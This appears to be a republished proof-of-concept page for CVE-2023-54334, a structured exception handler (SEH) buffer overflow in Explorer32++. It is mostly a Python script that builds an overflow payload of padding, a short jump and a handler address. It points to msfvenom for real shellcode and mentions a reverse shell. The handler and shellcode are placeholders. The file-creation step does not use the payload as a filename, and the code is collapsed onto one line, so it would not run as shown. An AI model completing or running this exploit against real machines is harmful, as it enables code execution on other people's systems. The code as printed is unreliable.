CVE-2023-54334: Explorer32++ SEH缓冲区溢出远程代码执行漏洞

#!/usr/bin/env python3 # CVE-2023-54334 PoC - Explorer32++ SEH Buffer Overflow # Generate malicious file path to trigger SEH overwrite import sys def generate_exploit_payload(): """ Generate exploit payload for CVE-2023-54334 Target: Explorer32++ 1.3.5.531 Vulnerability: SEH buffer overflow via long filename argument (>396 chars) """ # Minimum payload length to trigger overflow payload_length = 500 # Generate initial padding to reach SEH record padding = b'A' * 396 # SEH overwrite - 4 bytes to overwrite next SEH pointer nseh = b'\xeb\x06\x90\x90' # JMP +6, NOP, NOP # SEH record - 4 bytes to overwrite handler pointer # Use pop pop ret from a reliable module (needs to be found via Mona) # Example: 0x41414141 (placeholder - must be replaced with valid address) handler = b'\x41\x42\x43\x44' # Placeholder handler address # Shellcode - Windows x86 reverse shell or calc payload # Example: spawn calc.exe for demonstration # This is a placeholder - use msfvenom to generate actual shellcode shellcode = b'\x90' * 10 # NOP sled shellcode += b'\xcc' * 20 # INT3 for breakpoint (debugging) # Combine all parts exploit = padding + nseh + handler + shellcode return exploit def create_exploit_file(output_file): """Create file with exploit payload in filename""" payload = generate_exploit_payload() # Create a file with the malicious name filename = payload.decode('latin-1') try: with open(output_file, 'w') as f: f.write('Exploit payload file') print(f'Created exploit file with name length: {len(filename)}') print(f'Filename bytes (hex): {filename.encode("utf-8").hex()}') except Exception as e: print(f'Error creating file: {e}') print(f'Payload length: {len(payload)} bytes') print(f'Payload (first 100 bytes): {payload[:100]}') if __name__ == '__main__': print('CVE-2023-54334 Explorer32++ SEH Buffer Overflow PoC') print('=' * 60) payload = generate_exploit_payload() print(f'Total payload length: {len(payload)} bytes') print(f'SEH overwrite offset: 396 bytes') print('\nUsage: Copy the generated filename and open it with Explorer32++') print('Note: For actual exploitation, replace handler address with valid pop/pop/ret') print('Use: msfvenom -p windows/exec CMD=calc.exe -f python -b "\\x00\\x0a\\x0d"')